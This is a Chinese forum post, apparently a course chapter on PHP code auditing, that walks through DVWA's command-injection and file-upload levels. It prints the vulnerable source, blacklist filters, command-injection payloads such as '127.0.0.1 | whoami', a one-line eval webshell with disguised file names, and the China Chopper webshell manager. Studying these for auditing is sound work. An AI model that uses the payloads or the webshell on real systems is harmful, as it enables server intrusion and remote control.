查看: 107|回复: 0

【后端代码审计】第六章 PHP 代码审计初探

[复制链接]

1

主题

5

帖子

7

积分

新手上路

Rank: 1

积分
7
发表于 2023-7-6 22:27:26 | 显示全部楼层 |阅读模式
通过对应用,包括软件、网站等,源代码的阅读,发现其中的安全漏洞。
本课程以PHP 语言来说明代码审计的相关方法。把开源的靶场DVWA 作为审计的对象。
命令注入漏洞审计


  • 理解RCE 漏洞场景与危害
  • 掌握RCE 漏洞利用手法
  • 掌握RCE 漏洞审计方法
Low

查看源代码

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>
代码分析


  • 是否点击了提交按钮。
  • 服务器通过GPC 方式获取了一个IP 地址,赋值给了$target 变量。
  • 命令拼接ping $target,ping 127.0.0.1。
  • 由shell_exec() 运行拼接后的命令。
  • 当web 用户点击提交按钮的时候,服务器执行了1 条命令。
  • 一个字符串是否可以执行多条命令呢?
漏洞利用

127.0.0.1 & whoami
127.0.0.1& whoami
127.0.0.1 &whoami
127.0.0.1&whoami

127.0.0.1 && whoami
127.0.0.1 &&whoami
127.0.0.1&& whoami
127.0.0.1&&whoami

127.0.0.1 | whoami
127.0.0.1 |whoami
127.0.0.1| whoami
127.0.0.1|whoami


127.0.0.1.1 || whoami
127.0.0.1.1|| whoami
127.0.0.1.1 ||whoami
127.0.0.1.1||whoamiMedium

查看源代码

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>
代码分析


  • 设置了黑名单,&& 和;。
  • 根据黑名单,对$target 变量做了过滤,会过滤掉&& 和;。
  • 寻找其他可以执行多条命令的语句。
High

查看源代码

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}
代码分析


  • 设置了黑名单,&,;,|+,-,(,),[反引号],||。
  • 黑名单中漏掉了关键字符|。
Impossible

查看代码

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );

    // Split the IP into 4 octects
    $octet = explode( ".", $target );

    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }

        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    else {
        // Ops. Let the user name theres a mistake
        echo '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>
文件上传漏洞审计


  • 理解任意文件上传漏洞的场景和危害
  • 掌握文件上传漏洞利用方法
  • 掌握文件上传漏洞审计方法
文件上传过程

前台表单

<form enctype="multipart/form-data" action="#" method="POST">
    <input type="hidden" name="MAX_FILE_SIZE" value="100000">
    Choose an image to upload:<br><br>
    <input name="uploaded" type="file"><br>
    <br>
    <input type="submit" name="Upload" value="Upload">

</form>后台接收文件信息

$_FILES['uploaded']["name"];
$_FILES['uploaded']["type"];
$_FILES['uploaded']["tmp_name"];
$_FILES['uploaded']["error"];
$_FILES['uploaded']["size"];
后台逻辑

将上传文件的服务器缓存,存储到文件系统中。
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}

?>
代码分析


  • $_FILES['uploaded']['tmp_name'] 文件缓存的路径。
  • $target_path 是文件存储的目标路径路径。
  • 在“另存”文件的时候,没有做任何检测。
  • 任意文件上传。
任意文件上传

phpinfo

可以上传phpinfo.php 文件,并且可以执行。
<?php
    phpinfo();
?>
最简单后门

<?php
    @eval($_REQUEST[777]);
?>
后门说明


  • 上传之后,访问该文件,如果是空白,说明成功。
  • 利用777 参数传递命令,并执行。
  • 一句话木马,短小精悍,功能强大。
中国菜刀


  • 掌握一句话木马的原理
  • 掌握类菜刀工具的使用
概述

中国菜刀实现与一句话木马联动:

  • 中国菜刀在本地(攻击机)。
  • 一句话木马在服务器(靶机)上。
WebShell Manager。
一句话木马原理

代码执行

将字符串当作代码或命令执行。
eval();
assert();
一句话木马地址

地址形式不重要,重要的是能够访问到一句话木马,并且一句话木马的内容能够被解释执行。
http://localhost/dvwa_2.0.1/hackable/uploads/yjh.php

1.php
yjh.php
shell.php
404.php
confIg.php
ini.png
1.rar
ajest一句话木马密码

777三大基本功能

文件管理

相当于资源管理器,能够完成文件的上传,下载,编辑,删除,新建(文件和文件夹)等操作。
虚拟终端

类似于shell:

  • cmd
  • bash
数据库管理

使用中国菜刀管理目标服务器的数据库,需要数据库的用户名和密码。
将配置写入WebShell 管理工具中。
类菜刀工具


  • 冰蝎
  • 哥斯拉
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表